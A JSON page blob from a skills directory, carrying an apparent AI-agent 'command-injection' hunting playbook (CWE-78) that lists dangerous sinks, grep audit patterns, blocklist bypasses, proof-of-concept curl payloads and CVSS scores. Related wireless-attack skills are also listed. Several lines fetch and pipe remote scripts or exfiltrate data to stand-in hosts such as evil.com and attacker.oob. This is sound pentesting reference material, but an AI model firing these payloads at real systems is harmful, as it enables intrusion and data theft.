[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797S17GD3T3XYZ8BNZPZWDS":3,"skill-same:01M797S17GD3T3XYZ8BNZPZWDS":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M797S17GD3T3XYZ8BNZPZWDS","command-injection",null,"Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fcommand-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: command-injection\ndescription: Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.\nmetadata:\n  subdomain: web-exploitation\n  when_to_use: \"command injection cwe-78 os shell exec system call argument array bypass path confusion template string\"\n---\n\n# Command Injection Playbook\n\nIf SQL injection is the king of web vulns, command injection is the\nking of DevOps vulns. Every image-processing upload, PDF generator,\nffmpeg wrapper, and \"run a script\" feature is a candidate.\n\n## 1. Sinks\n\n| Language | Dangerous                                | Safer                                              |\n|----------|------------------------------------------|----------------------------------------------------|\n| Python   | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` |\n| Node     | `child_process.exec`, `execSync`         | `child_process.execFile`, `spawn` (array args)     |\n| Go       | `exec.Command(\"sh\",\"-c\",user)`           | `exec.Command(bin, arg1, arg2)` with array         |\n| Java     | `Runtime.exec(String)`                   | `Runtime.exec(String[])`, `ProcessBuilder([...])`  |\n| Ruby     | backticks, `system(str)`, `%x{...}`      | `Kernel.system(bin, *args)`, `Open3.capture2e`     |\n| PHP      | `shell_exec`, `exec`, `system`, backticks, `passthru` | `escapeshellarg` + explicit execve |\n\nEven the \"safer\" APIs are exploitable if the *binary path* is user\ncontrolled (`exec.Command(userBin, \"--version\")`).\n\n## 2. Non-obvious sinks\n\n- **Template engines rendering shell:** Ansible playbooks, systemd unit\n  files, crontab strings\n- **Docker-compose \u002F k8s manifests** where `command:` is built from user input\n- **PDF libraries** that shell out to `pdflatex`, `wkhtmltopdf`, `puppeteer`\n- **ImageMagick** — `convert user.jpg out.png` where `user.jpg` is\n  attacker-chosen (classic ImageTragick)\n- **ffmpeg** `-i` with user-provided URL\u002Ffile (SSRF + RCE combo)\n- **Git clone** with user-supplied URL (remote helper injection)\n- **SSH\u002FRsync** wrappers building `ssh user@host \"cmd\"` from templates\n- **ZIP extractors** passing archive path to `unzip` binary\n\n## 3. Audit workflow\n\n```bash\n# Level 1: obvious sinks\ngrep -rE 'os\\.system\\(|subprocess.*shell\\s*=\\s*True|exec\\s*\\(' \u002Fworkspace\u002Fsrc\ngrep -rE 'Runtime\\.exec\\(|ProcessBuilder\\([^[]' \u002Fworkspace\u002Fsrc\ngrep -rE 'child_process\\.(exec|execSync)\\(' \u002Fworkspace\u002Fsrc\n\n# Level 2: shell metacharacters in strings\ngrep -rE '\"[^\"]*\\$\\{[a-z]+\\}.*(-[a-z]|[;|&])\"' \u002Fworkspace\u002Fsrc\n\n# Level 3: template strings\ngrep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' \u002Fworkspace\u002Fsrc\n```\n\n## 4. Bypasses\n\nEven when developers \"sanitize\" via blocklists:\n\n- **Argument injection** (the -oProxyCommand trick) — passing `-oProxyCommand=curl $(whoami).attacker.com` to ssh-based sinks\n- **Space replacement** — `${IFS}`, `{ls,-la}` (brace expansion)\n- **Backtick\u002Fdollar-paren** — `$(id)`, `` `id` ``\n- **Command substitution in filename** — `$(curl evil.com\u002Fx.sh | sh).jpg`\n- **Unicode normalisation** — `＂` (fullwidth) vs `\"` bypass\n- **Encoded newline** — `%0A` turns single-command into multi-command\n- **TarSlip** — `tar xzf user.tgz` with `--checkpoint-action=exec=...`\n- **Git** — `git clone 'ssh:\u002F\u002Fext::sh -c whoami # foo'`\n\n## 5. PoC ideas\n\n```bash\n# Spare out-of-band tester — DNS exfil confirms silent RCE\ncurl \"https:\u002F\u002Ftarget.com\u002Fexport?filename=; curl $(whoami).attacker.oob\u002F\"\n\n# Blind, response-timing based\ncurl \"https:\u002F\u002Ftarget.com\u002Fexport?filename=; sleep 7 #.pdf\"\n\n# Noisy but fastest confirmation\ncurl \"https:\u002F\u002Ftarget.com\u002Fexport?filename=; id > \u002Ftmp\u002Fpwn #.pdf\"\n```\n\n## 6. `validate_finding` contract\n\n- success_patterns: `uid=\\d+`, `root`, attacker OOB callback hit, `total 0`\n- negative_command: same URL, filename set to `report.pdf`\n- negative_patterns: `200`, `accepted`\n\n## 7. Default CVSS\n\n| Variant                          | Vector                                     | Score |\n|----------------------------------|--------------------------------------------|-------|\n| Blind OOB RCE unauth             | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H        | 9.8   |\n| Authenticated RCE (low priv)     | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H        | 8.8   |\n| RCE with scope change (container escape) | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H | 10.0 |\n\n## 8. Chain promotion\n\nCommand injection rarely needs chaining — it's the final hop of most\nchains. Instead, use it to promote earlier nodes: add `enables` edges\nfrom SSRF \u002F file upload \u002F path traversal vulns that deliver the\ninitial payload.\n","# Command Injection Playbook\n\nIf SQL injection is the king of web vulns, command injection is the\nking of DevOps vulns. Every image-processing upload, PDF generator,\nffmpeg wrapper, and \"run a script\" feature is a candidate.\n\n## 1. Sinks\n\n| Language | Dangerous                                | Safer                                              |\n|----------|------------------------------------------|----------------------------------------------------|\n| Python   | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` |\n| Node     | `child_process.exec`, `execSync`         | `child_process.execFile`, `spawn` (array args)     |\n| Go       | `exec.Command(\"sh\",\"-c\",user)`           | `exec.Command(bin, arg1, arg2)` with array         |\n| Java     | `Runtime.exec(String)`                   | `Runtime.exec(String[])`, `ProcessBuilder([...])`  |\n| Ruby     | backticks, `system(str)`, `%x{...}`      | `Kernel.system(bin, *args)`, `Open3.capture2e`     |\n| PHP      | `shell_exec`, `exec`, `system`, backticks, `passthru` | `escapeshellarg` + explicit execve |\n\nEven the \"safer\" APIs are exploitable if the *binary path* is user\ncontrolled (`exec.Command(userBin, \"--version\")`).\n\n## 2. Non-obvious sinks\n\n- **Template engines rendering shell:** Ansible playbooks, systemd unit\n  files, crontab strings\n- **Docker-compose \u002F k8s manifests** where `command:` is built from user input\n- **PDF libraries** that shell out to `pdflatex`, `wkhtmltopdf`, `puppeteer`\n- **ImageMagick** — `convert user.jpg out.png` where `user.jpg` is\n  attacker-chosen (classic ImageTragick)\n- **ffmpeg** `-i` with user-provided URL\u002Ffile (SSRF + RCE combo)\n- **Git clone** with user-supplied URL (remote helper injection)\n- **SSH\u002FRsync** wrappers building `ssh user@host \"cmd\"` from templates\n- **ZIP extractors** passing archive path to `unzip` binary\n\n## 3. Audit workflow\n\n```bash\n# Level 1: obvious sinks\ngrep -rE 'os\\.system\\(|subprocess.*shell\\s*=\\s*True|exec\\s*\\(' \u002Fworkspace\u002Fsrc\ngrep -rE 'Runtime\\.exec\\(|ProcessBuilder\\([^[]' \u002Fworkspace\u002Fsrc\ngrep -rE 'child_process\\.(exec|execSync)\\(' \u002Fworkspace\u002Fsrc\n\n# Level 2: shell metacharacters in strings\ngrep -rE '\"[^\"]*\\$\\{[a-z]+\\}.*(-[a-z]|[;|&])\"' \u002Fworkspace\u002Fsrc\n\n# Level 3: template strings\ngrep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' \u002Fworkspace\u002Fsrc\n```\n\n## 4. Bypasses\n\nEven when developers \"sanitize\" via blocklists:\n\n- **Argument injection** (the -oProxyCommand trick) — passing `-oProxyCommand=curl $(whoami).attacker.com` to ssh-based sinks\n- **Space replacement** — `${IFS}`, `{ls,-la}` (brace expansion)\n- **Backtick\u002Fdollar-paren** — `$(id)`, `` `id` ``\n- **Command substitution in filename** — `$(curl evil.com\u002Fx.sh | sh).jpg`\n- **Unicode normalisation** — `＂` (fullwidth) vs `\"` bypass\n- **Encoded newline** — `%0A` turns single-command into multi-command\n- **TarSlip** — `tar xzf user.tgz` with `--checkpoint-action=exec=...`\n- **Git** — `git clone 'ssh:\u002F\u002Fext::sh -c whoami # foo'`\n\n## 5. PoC ideas\n\n```bash\n# Spare out-of-band tester — DNS exfil confirms silent RCE\ncurl \"https:\u002F\u002Ftarget.com\u002Fexport?filename=; curl $(whoami).attacker.oob\u002F\"\n\n# Blind, response-timing based\ncurl \"https:\u002F\u002Ftarget.com\u002Fexport?filename=; sleep 7 #.pdf\"\n\n# Noisy but fastest confirmation\ncurl \"https:\u002F\u002Ftarget.com\u002Fexport?filename=; id > \u002Ftmp\u002Fpwn #.pdf\"\n```\n\n## 6. `validate_finding` contract\n\n- success_patterns: `uid=\\d+`, `root`, attacker OOB callback hit, `total 0`\n- negative_command: same URL, filename set to `report.pdf`\n- negative_patterns: `200`, `accepted`\n\n## 7. Default CVSS\n\n| Variant                          | Vector                                     | Score |\n|----------------------------------|--------------------------------------------|-------|\n| Blind OOB RCE unauth             | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H        | 9.8   |\n| Authenticated RCE (low priv)     | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H        | 8.8   |\n| RCE with scope change (container escape) | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H | 10.0 |\n\n## 8. Chain promotion\n\nCommand injection rarely needs chaining — it's the final hop of most\nchains. Instead, use it to promote earlier nodes: add `enables` edges\nfrom SSRF \u002F file upload \u002F path traversal vulns that deliver the\ninitial payload.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26},"web-exploitation","command injection cwe-78 os shell exec system call argument array bypass path confusion template string","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fcommand-injection",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill command-injection",{"tool":40,"command":41},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill command-injection",{"tool":43,"command":44},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill command-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fcommand-injection\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]